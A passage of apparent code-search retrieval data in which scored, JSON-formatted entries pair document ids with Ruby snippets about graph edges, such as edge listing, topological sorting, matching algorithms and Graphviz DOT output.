end\n end",
"title": ""
},
{
"docid": "fbb74a104ee2d4aae8de30c63269f1d5",
"score": "0.60283095",
"text": "def find_edges\n\t\t@graph.each_index do |xi|\n\t\t\t@graph.each_index do |yi|\n\t\t\t\tcheck_adjacent(xi, yi)\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "98326e726936fdb20bb0d46a5196edf8",
"score": "0.6001582",
"text": "def find_edges\n @edges = vertices.map(&:edges).flatten.uniq\n end",
"title": ""
},
{
"docid": "11094d9ef08411eceecb113b97747d50",
"score": "0.59444135",
"text": "def add_all_edges\n @vertices.each_with_index do |a,i|\n (0..(i-1)).each { |j| add_edge(@vertices[i], @vertices[j]) }\n end\n end",
"title": ""
},
{
"docid": "ad564bb1a86f7f59a49c765d6f638455",
"score": "0.5912789",
"text": "def edges\n\t result = []\n\t each_graph do |graph|\n\t\tgraph_edges = []\n\t\teach_child_object do |child|\n\t\t graph_edges << [self, child, self[child, graph]]\n\t\tend\n\t\teach_parent_object do |parent|\n\t\t graph_edges << [parent, self, parent[self, graph]]\n\t\tend\n\t\tresult << [graph, graph_edges]\n\t end\n\n\t result\n\tend",
"title": ""
},
{
"docid": "965033708b952cb568831ac7b3e58181",
"score": "0.5896661",
"text": "def build_edges(inventory_collections)\n edges = []\n transitive_edges = []\n fixed_edges = []\n inventory_collections.each do |inventory_collection|\n inventory_collection.dependencies.each do |dependency|\n fixed_edges << [dependency, inventory_collection] if inventory_collection.fixed_dependencies.include?(dependency)\n if inventory_collection.dependency_attributes_for([dependency]).any? { |x| inventory_collection.transitive_dependency_attributes.include?(x) }\n # The condition checks if the dependency is a transitive dependency, in other words a InventoryObjectLazy with :key\n # pointing to another object.\n transitive_edges << [dependency, inventory_collection]\n else\n edges << [dependency, inventory_collection]\n end\n end\n end\n # We put transitive edges to the end. Transitive edge is e.g.: given graph (X,Y,Z), we have a lazy link, from X\n # to Y, making edge (Y, X), using a :key pointing to Z. Which means that also edge from Y to Z (Z, Y) exists.\n # If the edge (Z, Y) is placed before (Y, X), we process it first. Then the edge (Y, X), causing hidden\n # transitive relation X to Z (it's hidden because edge (Z, X) is not present), is processed as last and we do a\n # more effective cycle removal if needed.\n return edges + transitive_edges, fixed_edges\n end",
"title": ""
},
{
"docid": "bdcfe1300fdb3ec2f73f1fbc0ad7a666",
"score": "0.58420604",
"text": "def unused_edges finish\n used_edges = []\n #find all the used edges\n current_vertex = finish\n while @previous[current_vertex]\n edge = get_edge current_vertex, @previous[current_vertex]\n used_edges << edge\n current_vertex = @previous[current_vertex]\n end\n #find the unused edges\n @edges.select{ |e| ! used_edges.include? e }\n end",
"title": ""
},
{
"docid": "160a9b130d9b4988e013b8c154ed12e6",
"score": "0.5749751",
"text": "def edges\n @graph.nodes.map do |node|\n node.out_edges.select(&@filter_by).to_a\n end.flatten\n end",
"title": ""
},
{
"docid": "575b158a30974192239a579d55b129df",
"score": "0.56323576",
"text": "def post_processing!(nodes, edges)\n # 'and' coordination\n edges.reject!{|e| e[:text] == 'and'}\n\n # 'have A as B' pattern\n edges_have_as = edges.find_all{|e| e[:text] == \"have as\"}\n unless edges_have_as.empty?\n pairs_have_as = edges_have_as.group_by{|e| e[:object]}\n pairs_have_as.each do |obj, pair|\n edge_have = edges.find do |e|\n e[:text] == \"have\" &&\n ((e[:subject] == pair.first[:subject] && e[:object] == pair.last[:subject]) || (e[:subject] == pair.last[:subject] && e[:object] == pair.first[:subject]))\n end\n if edge_have\n edge_have[:text] = nodes[obj.to_sym][:text]\n nodes.delete(obj.to_sym)\n end\n end\n edges.reject!{|e| e[:text] == \"have as\"}\n end\n\n # 'have A and B as C' pattern\n edges_have_and_as = edges.find_all{|e| e[:text] == \"have and as\"}\n edges_have_and_as.each do |edge_have_and_as|\n edges_and_as = edges.find_all{|e| e[:text] == \"and as\" && e[:object] == edge_have_and_as[:object]}\n edges_have_and = edges_and_as.map{|edge_and_as| edges.find{|e| e[:text] == \"have and\" && e[:object] == edge_and_as[:subject]}}\n edges_have_and.each{|e| e[:text] = nodes[edge_have_and_as[:object].to_sym][:text]}\n nodes.delete(edge_have_and_as[:object].to_sym)\n end\n edges.reject!{|e| e[:text] == \"have and as\"}\n edges.reject!{|e| e[:text] == \"and as\"}\n end",
"title": ""
},
{
"docid": "f3adde85efb1a1a15eb8ee5e8799c73e",
"score": "0.56307864",
"text": "def all_edges\n edge_t = %i[Link Jump Containment Path]\n edges = edge_t.flat_map { |t| records[t].set } if edges.nil?\n end",
"title": ""
},
{
"docid": "ae684cfc0c8b6f46af488075fefe27e2",
"score": "0.5629883",
"text": "def reduce_edges\n edges.values.inject([]) do |total, edges_at_order_n|\n yield(total, edges_at_order_n)\n end.flatten.uniq.sort\n end",
"title": ""
},
{
"docid": "6b0306772eba28bf9c9e4ae40b73f1c5",
"score": "0.5603122",
"text": "def isolates\n edges.inject(Set.new(vertices)) { |iso, e| iso -= [e.source, e.target] }\n end",
"title": ""
},
{
"docid": "6b0306772eba28bf9c9e4ae40b73f1c5",
"score": "0.5603122",
"text": "def isolates\n edges.inject(Set.new(vertices)) { |iso, e| iso -= [e.source, e.target] }\n end",
"title": ""
},
{
"docid": "bb8e8e2f83fe77464b1ff1d64c403792",
"score": "0.5558318",
"text": "def set_semantic_labels_for_edges\n # puts \"*** inside set_semantic_labels_for_edges\"\n for i in (0.. @vertices.length - 1)\n if (!@vertices[i].nil? and !@vertices[i].parent.nil?) #parent = null for ROOT\n #search for the parent vertex\n parent = find_parent_vertex(i)\n if (!parent.nil?) #{\n #check if an edge exists between vertices[i] and the parent\n find_edge_with_parent(i)\n end #end of if paren.nil? condition\n end\n end #end of for loop\n end",
"title": ""
},
{
"docid": "63f028983c6b5f6a33ed54f92c9648d7",
"score": "0.55573785",
"text": "def to_dot\n n2n , urls , labels = self.get_name2name\n node_names = []\n node_protocols = []\n edges = []\n n2n.keys.each do |name1|\n n2n[name1].keys.each do |name2|\n if config[:edge_label] == \"FALSE\"\n label = n2n[name1][name2]\n edges << \"\\\"#{name1}\\\" -> \\\"#{name2}\\\";\"\n node_protocols << label\n node_names << name1\n node_names << name2\n elsif config[:edge_label] == \"TRUE\"\n label = n2n[name1][name2]\n node_names << name1\n node_names << name2\n if (label == nil) or label.match(/^\\s*$/)\n edges << \"\\\"#{name1}\\\" -> \\\"#{name2}\\\" ;\"\n else\n url = nil\n url = urls[label] if urls.key?(label)\n id = %Q! #{label}\\\\n(from:#{name1.split(\"\\\\n\")[0]})\\\\n(to:#{name2.split(\"\\\\n\")[0]}) !\n urls[id] = url\n labels[id] = label\n node_protocols << id\n edges << \"\\\"#{name1}\\\" -> \\\"#{id}\\\" [arrowhead = none] ;\"\n edges << \"\\\"#{id}\\\" -> \\\"#{name2}\\\" ;\"\n end\n end\n end\n end\n out = [\"digraph sample {\"]\n out << \"graph [rankdir = LR];\" if ! config[:layout].match(/top-to-down/)\n out += node_names.uniq.collect{|x| \n styles = []\n styles << \"shape = box\"\n styles << \"URL=\\\"#{urls[x]}\\\"\" if urls.key?(x)\n styles << \"label=\\\"#{labels[x]}\\\"\" if labels.key?(x)\n %! \"#{x}\" [#{styles.join(',')}] ; !\n }\n if config[:edge_label] != \"FALSE\"\n out += node_protocols.uniq.collect{|x|\n styles = []\n styles << \"shape=none\"\n styles << \"URL=\\\"#{urls[x]}\\\"\" if urls.key?(x)\n styles << \"label=\\\"#{labels[x]}\\\"\" if labels.key?(x)\n #label = x.sub(/\\(to[^)]*\\)\\s*/,\"\").sub(/\\(from[^)]*\\)\\s*/,\"\").sub(/[\\\\n]*\\s*$/,\"\")\n #styles << %!label=\"#{label}\"!\n %! \"#{x}\" [#{styles.join(',')}] ; !\n }\n end\n out += edges\n out << \"}\"\n return out\n end",
"title": ""
},
{
"docid": "51cecca26c562710e01d01137eb96851",
"score": "0.553941",
"text": "def wrap_edges\n @graph.edges.each {|edge|\n unless edge.tail_vertex.class == UnionFind::Node\n edge.tail_vertex = @vertices_trees_forest.nodes.find {|node| node.element == edge.tail_vertex}\n end\n unless edge.head_vertex.class == UnionFind::Node\n edge.head_vertex = @vertices_trees_forest.nodes.find {|node| node.element == edge.head_vertex}\n end\n }\n end",
"title": ""
},
{
"docid": "f1d51a61b1653ea9f072e4ea0dc929cb",
"score": "0.5532251",
"text": "def edges\n arr = []\n each_edge { |e| arr << e }\n arr\n end",
"title": ""
},
{
"docid": "4c31983c59c09c8c712902f4ed94d744",
"score": "0.55033886",
"text": "def edges\n r = []\n s = []\n @adj_lists.each do |key, val|\n if val != nil\n s = [key, val.value]\n r << s\n z = val\n while z.nxt != nil\n z = z.nxt\n r << [key, z.value]\n end\n end\n end\n r\n end",
"title": ""
},
{
"docid": "fc76221bed3c2c3f194b897ccf60b5ef",
"score": "0.5477461",
"text": "def edges\n found_edges = []\n # Process class relationships\n relationships = @klass.relationships\n# p ['relationships', relationships]\n# if @options.inheritance && ! @options.transitive\n# if @klass.superclass.respond_to?'relationships'\n# superclass_relationships = @klass.superclass.relationships\n# relationships = relationships.select{|k,a| superclass_relationships[k].nil?}\n# end\n# end\n remove_joins(relationships).each do |k, a|\n found_edges << process_relationship(@klass.name, a)\n end\n# p ['found_edges', found_edges]\n found_edges.compact\n end",
"title": ""
},
{
"docid": "b733c6ba7bb81a5bce1fa451cc637cd6",
"score": "0.5469636",
"text": "def unbalanced_vertices edges\n first = nil\n last = nil\n all = Set.new\n in_deg = {}\n out_deg = {}\n edges.each do |from, to|\n out_deg[from] = to.length\n all << from\n to.each do |v|\n in_deg[v] = 0 if !in_deg[v]\n in_deg[v] += 1\n all << v\n end\n end\n all.each do |v|\n first = v if (out_deg[v] || 0) > (in_deg[v] || 0)\n last = v if (in_deg[v] || 0) > (out_deg[v] || 0)\n end\n [first, last]\nend",
"title": ""
},
{
"docid": "b0314b73caf3235c3b04679d6390b23d",
"score": "0.54608065",
"text": "def edges\r\n fail_if_invalid()\r\n @edgeuses.map { |edgeuse| edgeuse.edge }\r\n end",
"title": ""
},
{
"docid": "05557813c75f29ea74ae0fab027f9b5b",
"score": "0.5460499",
"text": "def remove_edges\n\t\t\t# Clear connections, connection appearances, linking_phrases, linking phrase appearance\n\t\t\tCONNECTION_LIST_PATH.apply(@xml)[0].remove\n\t\t\tPHRASE_LIST_PATH.apply(@xml)[0].remove\n\t\t\tCONNECTION_APPEARANCE_LIST_PATH.apply(@xml)[0].remove\n\t\t\tPHRASE_APPEARANCE_LIST_PATH.apply(@xml)[0].remove\n\t\tend",
"title": ""
},
{
"docid": "72379345a7592b0fb73064be513eea6a",
"score": "0.5456453",
"text": "def print_edges\n\n @graph.each {|label, vertex| vertex.edges.each_key { |destination| puts \"#{label}->#{destination}\"}}\n\n end",
"title": ""
},
{
"docid": "7a2df4c2d6cb483030f59fe8c8c0dbe7",
"score": "0.5447952",
"text": "def edges\n return @edges.each\n end",
"title": ""
},
{
"docid": "d91590b639a4dcad15deb55f52018464",
"score": "0.5410952",
"text": "def print_unused_edges finish\n puts \"The following edges are unused:\"\n print_edges_as_array unused_edges(finish)\n end",
"title": ""
},
{
"docid": "ee0b491fe6aa2307cd786459a9c3fc11",
"score": "0.54072016",
"text": "def edges\r\n @vertex_dict.keys.inject(Set.new) do |a,v|\r\n if @parallel_edges and @edge_number[v]\r\n @vertex_dict[v].zip(@edge_number[v]).each do |w|\r\n s,t,n = v,w[0],w[1]\r\n a.add( edge_class[ s,t,n, edge_label(s,t,n) ] )\r\n end\r\n else\r\n @vertex_dict[v].each do |w|\r\n a.add(edge_class[v,w,edge_label(v,w)])\r\n end\r\n end; a\r\n end.to_a\r\n end",
"title": ""
},
{
"docid": "11e5589da7b9e5a7da3c716ddd480840",
"score": "0.5396321",
"text": "def assert_graph!(fixed_edges)\n fixed_edges.each do |edge|\n detect_cycle(edge, fixed_edges - [edge], :exception)\n end\n end",
"title": ""
},
{
"docid": "de43f9384dfbeb0ef62a742b026a06bf",
"score": "0.5385361",
"text": "def each_order\n @edges.values.each { |order| yield(order) }\n self\n end",
"title": ""
},
{
"docid": "63509c9c0fc7efa9a4dc25ace688ce29",
"score": "0.5367792",
"text": "def edges\n r = []\n s = []\n @adj_matrix.each do |key, val|\n if val != nil\n s = [key, val.value]\n r << s\n z = val\n while z.nxt != nil\n z = z.nxt\n r << [key, z.value]\n end\n end\n end\n r\n end",
"title": ""
},
{
"docid": "74df00868906a2f4f06e5e50a0df4cd9",
"score": "0.5335523",
"text": "def each_edge() @edges.each {|e| yield e if block_given?} end",
"title": ""
},
{
"docid": "dba68c668fc0002e47fc74c54c581bc7",
"score": "0.53346634",
"text": "def top_edge_derivates\n return unless top_edge? && !right_edge?\n\n @items += @item.derivates[:top]\n end",
"title": ""
},
{
"docid": "c87329ea25488d440cf7505438dab93c",
"score": "0.5333548",
"text": "def find_unused_edges\n path_of_least_resistance = find_path_of_least_resistance\n \n # search for all edge not present in the least resistance path\n unused_edges = []\n @edges.each do |edge|\n if path_of_least_resistance.find {|path_edge| path_edge == edge } == nil\n unused_edges << edge\n end\n end\n \n unused_edges\n end",
"title": ""
},
{
"docid": "c87329ea25488d440cf7505438dab93c",
"score": "0.5333548",
"text": "def find_unused_edges\n path_of_least_resistance = find_path_of_least_resistance\n \n # search for all edge not present in the least resistance path\n unused_edges = []\n @edges.each do |edge|\n if path_of_least_resistance.find {|path_edge| path_edge == edge } == nil\n unused_edges << edge\n end\n end\n \n unused_edges\n end",
"title": ""
},
{
"docid": "0f0ea1dfa9fc1aa25923078b1eea0e3d",
"score": "0.5333512",
"text": "def extract_non_edges\n @count_non_edges=0 \n\n # sanity check \n if (@inter_fragment_edges == nil)\n raise RuntimeError, \"intergrity failure: extract_non_edges must be called after extract_edges, but we have no edge hash yet.\" \n end\n\n if (@node_hash == nil)\n raise RuntimeError, \"intergrity failure: extract_non_edges must be called after extract_nodes, but we have no node hash yet.\" \n end\n\n # run over all nodes, \n # check all node-pairs that are not in the same fragments,\n # if not in edge list, \n @node_hash.keys.each do |node_l|\n @node_hash.keys.each do |node_r|\n next if (node_l.eql? node_r) # no need to check self \n next if same_fragment?(node_l, node_r) # no need to check in-fragment\n\n id = node_l + \" >>> \" + node_r \n\n if not @inter_fragment_edges[id] \n # we don't have this edge. So add it as interfragment non-edge \n @inter_fragment_edges[id] = false \n @count_non_edges = @count_non_edges + 1\n end\n end\n end\n $stderr.puts(\"And non-edge counts are #{@count_non_edges}\") \n end",
"title": ""
},
{
"docid": "61d68c8e2784277dfe584a252527c458",
"score": "0.52941966",
"text": "def e(g)\n first = []\n label = []\n mate = []\n\n # E0. [Initialize.] Read the graph into adjacency lists,\n # numbering the vertices 1 to V and the edges V + 1 to\n # V + 2W. Create a dummy vertex 0 For 0 <= i <= V, set\n # LABEL(u) <- -1, MATE(i) <- 0 (all vertices are nonouter\n # and unmatched) Set u <- 0\n\n label.fill(-1, 0, g.size + 1)\n mate.fill(0, 0, g.size + 1)\n u = 0\n\n # El. [Find unmatched vertex ] Set u = u + 1. If u > V,\n # halt; MATE contains a maximum matching Otherwise, if vertex\n # u is matched, repeat step E1 Otherwise (u is unmatched, so\n # assign a start label and begin a new search)\n # set LABEL(u) = FIRST(u) = 0\n\n loop do\n u += 1\n break if u > g.size\n if mate[u] != 0\n next # repeat E1\n else\n label[u] = first[u] = 0\n end\n\n # E2 [Choose an edge ] Choose an edge xy, where x is an outer\n # vertex. (An edge vw may be chosen twice in a search--once\n # with x = v, and once with x = w.) If no such edge exists,\n # go to E7. (Edges xy can be chosen in an arbitrary order. A\n # possible choice method is \"breadth-first\": an outer vertex\n # x = x1 is chosen, and edges (x1,y) are chosen in succeeding\n # executions of E2, when all such edges have been chosen, the\n # vertex x2 that was labeled immediately after x1 is chosen,\n # and the process is repeated for x = x2. This breadth-first\n # method requires that Algorithm E maintain a list of outer\n # vertices, x1, x2, ...)\n\n searching = true\n visited_nodes = Set.new\n visited_edges = DirectedEdgeSet.new(g.size)\n q = OrderedSet[u]\n while searching && !q.empty?\n x = q.deq\n visited_nodes.add(x)\n adjacent = g.adjacent_vertex_set(x)\n discovered = adjacent - visited_edges.adjacent_vertices(x)\n\n discovered.each do |y|\n visited_edges.add(x, y)\n\n # E3. [Augment the matching.] If y is unmatched and y != u,\n # set MATE(y) = x, call R(x, y): then go to E7 (R\n # completes the augment along path (y)*P(x))\n\n if mate[y] == 0 && y != u\n mate[y] = x\n r(x, y, label, mate)\n searching = false # go to E7\n break\n\n # E4. [Assign edge labels.] If y is outer, call L, then go to\n # E2 (L assigns edge label n(xy) to nonouter vertices in P(x)\n # and P(y))\n\n elsif outer?(label[y])\n l(x, y, first, label, mate, q, visited_nodes)\n\n # E5. [Assign a vertex label.] Set v <- MATE(y). If v is\n # nonouter, set LABEL(v) <- x, FIRST(v) <- y, and go to E2\n #\n # E6. [Get next edge.] Go to E2 (y is nonouter and MATE(y) is\n # outer, so edge xy adds nothing).\n\n else\n v = mate[y]\n if label[v] == -1 # nonouter\n label[v] = x\n first[v] = y\n end\n unless visited_nodes.include?(v)\n q.enq(v)\n end\n end\n end\n end\n\n #\n # E7. [Stop the search] Set LABEL(O) <- -1. For all outer\n # vertices i set LABEL(i) <- LABEL(MATE(i)) <- -1 Then go\n # to E1 (now all vertexes are nonouter for the next search).\n #\n\n label[0] = -1\n label.each_with_index do |obj, ix|\n if ix > 0 && outer?(obj)\n label[ix] = label[mate[ix]] = -1\n end\n end\n end\n\n Matching.gabow(mate)\n end",
"title": ""
},
{
"docid": "0dda68b9ef6bcbaa99e5d703e9cbc414",
"score": "0.52699155",
"text": "def edges\n @edges || @edge_map.keys\n end",
"title": ""
},
{
"docid": "e8d9c6f99060f2efcb78ff30ea22a970",
"score": "0.5263097",
"text": "def post_process! nodes, edges\n # 'and' coordination\n edges.reject! { |e| e[:text] == 'and' }\n\n # 'have A as B' pattern\n edges_have_as = edges.find_all { |e| e[:text] == 'have as' }\n unless edges_have_as.empty?\n pairs_have_as = edges_have_as.group_by { |e| e[:object] }\n pairs_have_as.each do |obj, pair|\n edge_have = edges.find do |e|\n e[:text] == 'have' &&\n ((e[:subject] == pair.first[:subject] && e[:object] == pair.last[:subject]) || (e[:subject] == pair.last[:subject] && e[:object] == pair.first[:subject]))\n end\n if edge_have\n edge_have[:text] = nodes[obj.to_sym][:text]\n nodes.delete(obj.to_sym)\n end\n end\n edges.reject! { |e| e[:text] == 'have as' }\n end\n\n # 'have A and B as C' pattern\n edges_have_and_as = edges.find_all { |e| e[:text] == 'have and as' }\n edges_have_and_as.each do |edge_have_and_as|\n edges_and_as = edges.find_all { |e| e[:text] == 'and as' && e[:object] == edge_have_and_as[:object] }\n edges_have_and = edges_and_as.map { |edge_and_as| edges.find { |e| e[:text] == 'have and' && e[:object] == edge_and_as[:subject] } }\n edges_have_and.each { |e| e[:text] = nodes[edge_have_and_as[:object].to_sym][:text] }\n nodes.delete(edge_have_and_as[:object].to_sym)\n end\n edges.reject! { |e| e[:text] == 'have and as' }\n edges.reject! { |e| e[:text] == 'and as' }\n end",
"title": ""
},
{
"docid": "81b8b1c1fdfc202172b7f975e7207822",
"score": "0.52450424",
"text": "def set_semantic_labels_for_edges\n # puts \"*** inside set_semantic_labels_for_edges\"\n for i in (0.. @vertices.length - 1)\n if(!@vertices[i].nil? && !@vertices[i].parent.nil?) #parent = null for ROOT\n #search for the parent vertex\n for j in (0..@vertices.length - 1)\n if(!@vertices[j].nil? && (@vertices[j].name.casecmp(@vertices[i].parent) == 0 ||\n @vertices[j].name.downcase.include?(@vertices[i].parent.downcase)))\n # puts(\"**Parent:: #{@vertices[j].name}\")\n parent = @vertices[j]\n break #break out of search for the parent\n end\n end\n if(!parent.nil?)#{\n #check if an edge exists between vertices[i] and the parent\n for k in (0..@edges.length - 1)\n if(!@edges[k].nil? && !@edges[k].in_vertex.nil? && !@edges[k].out_vertex.nil?)\n if((@edges[k].in_vertex.name.equal?(@vertices[i].name) && @edges[k].out_vertex.name.equal?(parent.name)) || (@edges[k].in_vertex.name.equal?(parent.name) && @edges[k].out_vertex.name.equal?(@vertices[i].name)))\n #set the role label\n if(@edges[k].label.nil?)\n @edges[k].label = @vertices[i].label\n elsif(!@edges[k].label.nil? && (@edges[k].label == \"NMOD\" || @edges[k].label == \"PMOD\") && (@vertices[i].label != \"NMOD\" || @vertices[i].label != \"PMOD\"))\n @edges[k].label = @vertices[i].label\n end\n end\n end\n end\n end#end of if paren.nil? condition\n end\n end #end of for loop\n end",
"title": ""
},
{
"docid": "af0fc6903747e3f983502d86b59fff09",
"score": "0.5234786",
"text": "def topological_sort(vertices)\n sorted = []\n top_level = vertices.select { |verts| verts.in_edges.empty? }\n\n\n until top_level.empty?\n current = top_level.pop\n current.out_edges.each do |oldest_node|\n sorted << current\n\n end\n end\n sorted\nend",
"title": ""
},
{
"docid": "cc186e1ed69b6827cd1ef41888b09401",
"score": "0.5234297",
"text": "def build_graph edges\n g = {}\n ins = Set.new\n outs = Set.new\n edges.each do |e|\n inv, out = e.split('->')\n outv, outws = out.split(':')\n outw = outws.to_i\n ins << inv\n outs << outv\n g[outv] = [] if !g.has_key?(outv)\n g[outv] << {:from => inv, :weight => outw}\n end\n {:edges => g, :sources => (ins - outs).to_a, :sinks => (outs - ins).to_a}\n # NOTE: edges here is of form {vertex => {from, weight}} = nodes COMING INTO vertex format.\nend",
"title": ""
},
{
"docid": "cc186e1ed69b6827cd1ef41888b09401",
"score": "0.5234297",
"text": "def build_graph edges\n g = {}\n ins = Set.new\n outs = Set.new\n edges.each do |e|\n inv, out = e.split('->')\n outv, outws = out.split(':')\n outw = outws.to_i\n ins << inv\n outs << outv\n g[outv] = [] if !g.has_key?(outv)\n g[outv] << {:from => inv, :weight => outw}\n end\n {:edges => g, :sources => (ins - outs).to_a, :sinks => (outs - ins).to_a}\n # NOTE: edges here is of form {vertex => {from, weight}} = nodes COMING INTO vertex format.\nend",
"title": ""
},
{
"docid": "bd1fc4c97e8e404ee8a5fe40ef17f39a",
"score": "0.523153",
"text": "def dot_encoding_strings\n\t\tenc = Array.new\n\t\tedges_considered = Array.new\n\t\t@adjacency_list.keys.each do |v|\n\t\t\tresult = path [v], edges_considered\n\t\t\tenc.push result[:so_far].join(\" -- \") unless result[:so_far].length == 1 and !neighbors(result[:so_far].first).empty?\n\t\t\tedges_considered = result[:edges_considered]\n\t\tend\n\t\tenc \n\tend",
"title": ""
},
{
"docid": "16c5a3014d654b391b0f7b795616baf5",
"score": "0.5231292",
"text": "def edges\n @edges ||= node.edges(direction, carrier).dup.freeze\n end",
"title": ""
},
{
"docid": "cdfbf3ef2e2f56ec2ad1ec1f9b6da48f",
"score": "0.52244085",
"text": "def getGraphEdges(graph)\n edges = Hash.new\n graph.edges.each { |e|\n if @asymetric\n edges[e.source+e.target] = e\n else\n edges[e.source+e.target] = edges[e.target+e.source] = e\n end\n }\n edges\n end",
"title": ""
},
{
"docid": "cdfbf3ef2e2f56ec2ad1ec1f9b6da48f",
"score": "0.52244085",
"text": "def getGraphEdges(graph)\n edges = Hash.new\n graph.edges.each { |e|\n if @asymetric\n edges[e.source+e.target] = e\n else\n edges[e.source+e.target] = edges[e.target+e.source] = e\n end\n }\n edges\n end",
"title": ""
},
{
"docid": "237c14f91a7aa6095ed4a2ad5e28eba6",
"score": "0.5219602",
"text": "def build_feedback_edge_set(edges, fixed_edges)\n edges = edges.dup\n acyclic_edges = fixed_edges.dup\n feedback_edge_set = []\n\n while edges.present?\n edge = edges.shift\n if detect_cycle(edge, acyclic_edges)\n feedback_edge_set << edge\n else\n acyclic_edges << edge\n end\n end\n\n feedback_edge_set\n end",
"title": ""
},
{
"docid": "ee53b5a9516c8d07ffa5ac5165e03983",
"score": "0.52031463",
"text": "def output_dot_file(src, dst, direction, dataset, node2isp,\n node_attributes, edge_attributes, symmetric_revtr_links, node2neighbors, edge_seen_in_measurements, dotfn, isp2color)\n File.open( dotfn, \"w\"){ |dot|\n dot.puts \"digraph \\\"tr\\\" {\"\n dot.puts \" label = \\\"Src:#{src}, Dst:#{dst}\\\\n#{direction} failure\\\\nDataset: #{dataset}\\\"\"\n dot.puts \" labelloc = \\\"t\\\"\"\n isp2nodes = Hash.new{|h,k| h[k] = []}\n node2isp.each_pair{|node, isp|\n isp2nodes[isp] << node\n }\n\n isp2nodes.each_pair{|isp, nodes|\n if not isp.nil?\n dot.puts \"subgraph cluster_#{isp.to_s.gsub(/[^0-9a-z]/i, '_')}{\"\n dot.puts \" fontsize=\\\"22\\\";\"\n dot.puts \" labeljust=\\\"l\\\";\"\n dot.puts \" label=\\\"#{isp}\\\";\"\n #dot.puts \" label=\\\"AS#{@asn2isp[asn]}\\\";\"\n dot.puts \" color=\\\"#{isp2color[isp]}\\\";\"\n end\n\n nodes.each{|node|\n attributes = node_attributes[node]\n n=\" \\\"#{node}\\\" [\"\n attributes.each_pair{|k,v|\n n << \"#{k}=\\\"#{v}\\\", \"\n }\n n[-2..-1]=\"];\"\n dot.puts n\n }\n if not isp.nil?\n dot.puts \"}\"\n end\n }\n\n node2neighbors.each_pair do |node,neighbors|\n neighbors.each do |neighbor|\n edge= \" \\\"#{node}\\\" -> \\\"#{neighbor}\\\" [\"\n attributes = \"\"\n edge_attributes[[node,neighbor]].each_pair{|k,v|\n attributes += \"#{k}=\\\"#{v}\\\", \" \n }\n edge = edge + attributes\n if edge_seen_in_measurements.include? [node,neighbor,:tr]\n tre=edge\n tre += \"style=\\\"solid\\\", \"\n # if not edge_attributes[[node,neighbor]].has_key?(\"style\")\n # tre += \"style=\\\"dotted\\\", \"\n # end\n tre[-2..-1]=\"];\" \n dot.puts tre\n end\n if edge_seen_in_measurements.include? [node,neighbor,:spoofed_tr]\n tre=edge\n tre += \"color=\\\"blue\\\",style=\\\"solid\\\"];\"\n dot.puts tre\n end\n if edge_seen_in_measurements.include? [node,neighbor,:aux_tr]\n tre=edge\n tre += \"color=\\\"darkolivegreen\\\",style=\\\"solid\\\"];\"\n dot.puts tre\n end\n if edge_seen_in_measurements.include? [node,neighbor,:historic_tr]\n tre=edge\n tre += \"style=\\\"dotted\\\"];\"\n dot.puts tre\n end\n if edge_seen_in_measurements.include? [node,neighbor,:revtr]\n rtre = edge\n rtre += \"color=\\\"red\\\", dir=\\\"back\\\", arrowhead=\\\"none\\\", arrowtail=\\\"normal\\\", \"\n if symmetric_revtr_links.include? [node,neighbor]\n rtre += \"label=\\\"sym\\\", \"\n end\n\n rtre[-2..-1]=\"];\" \n dot.puts rtre\n end\n if edge_seen_in_measurements.include? [node,neighbor,:aux_revtr]\n rtre = edge\n rtre += \"color=\\\"pink\\\", dir=\\\"back\\\", arrowhead=\\\"none\\\", arrowtail=\\\"normal\\\", \"\n if symmetric_revtr_links.include? [node,neighbor]\n rtre += \"label=\\\"sym\\\", \"\n end\n\n rtre[-2..-1]=\"];\" \n dot.puts rtre\n end\n if edge_seen_in_measurements.include? [node,neighbor,:historic_revtr]\n rtre = edge\n rtre += \"style=\\\"dotted\\\", color=\\\"red\\\", dir=\\\"back\\\", arrowhead=\\\"none\\\", arrowtail=\\\"normal\\\", \"\n if symmetric_revtr_links.include? [node,neighbor]\n rtre += \"label=\\\"sym\\\", \"\n end\n\n rtre[-2..-1]=\"];\" \n dot.puts rtre\n end\n if edge_seen_in_measurements.include? [node,neighbor,:invis]\n rtre = edge\n rtre += \"style=\\\"invis\\\"];\"\n dot.puts rtre\n end\n end\n end\n dot.puts \"}\"\n }\n end",
"title": ""
},
{
"docid": "705801eff7cc9043277a3dbd2a831ab6",
"score": "0.5201803",
"text": "def print_graph\n @items.each do |item|\n puts \"#{item.inspect} depends on:\"\n\n predecessors = direct_predecessors_of(item)\n predecessors.each do |pred|\n puts \" #{pred.inspect}\"\n end\n puts \" (nothing!)\" if predecessors.empty?\n puts\n end\n end",
"title": ""
},
{
"docid": "8486d1ea48e6600644452eefe2a76744",
"score": "0.51985323",
"text": "def edges &block\n if block\n @fwd.each { |s, tgt| tgt.keys.each { |t| block.call s, t } }\n else\n @fwd.map { |s, tgt| tgt.keys.map { |t| [s, t] } }.flatten 1\n end\n end",
"title": ""
},
{
"docid": "34710e07bfb12a5449fbb13f7e835da7",
"score": "0.5187734",
"text": "def topological_sort(vertices)\n results = []\n while vertices.any? { |vert| vert.mark == 'none' }\n begin\n v = vertices.find { |vert| vert.mark == 'none' }\n visit(v, results)\n rescue StandardError\n []\n end\n end\n\n results\nend",
"title": ""
},
{
"docid": "3c84706b5cd8d6194eeb6282fa8c2f12",
"score": "0.5161241",
"text": "def boundary_vertices\n edges.select(&:boundary?).map { |edge| edge.other_vertex self }\n end",
"title": ""
},
{
"docid": "1ec2321c23a7ab5da20d6a559bfbddcf",
"score": "0.51544863",
"text": "def graph_prerequisites\n end",
"title": ""
},
{
"docid": "5d3fd3751f0dd1728d792c814f2ba1f2",
"score": "0.51488996",
"text": "def descendants \n stack = [ self.send(acts_as_dag_configuration[:in]) ].flatten\n nodes = {}\n while stack.length > 0\n n = stack.pop\n if n and ! nodes[n.id] \n nodes[n.id] = n\n (stack << [n.send(acts_as_dag_configuration[:in])]).flatten!\n end\n end\n nodes.values\n end",
"title": ""
},
{
"docid": "1fcf47e8c9405bf852b017db3aa58cf9",
"score": "0.51474124",
"text": "def edges\n end",
"title": ""
},
{
"docid": "fdb82eb9433ec8d326eae296bef8eba3",
"score": "0.514722",
"text": "def neighbours\n #vertices = self.edges.map {|e| e.vertices}.flatten\n #vertices_to_me = vertices.select {|v| v == self}\n #other_vertices = vertices.select {|v| v != self}\n #(vertices_to_me[1..-1] || []) + other_vertices#\n self.edges.map {|e| e.vertices.take_while {|v| v != self} + \n e.vertices.drop_while {|v| v != self}[1..-1]}.flatten\n end",
"title": ""
},
{
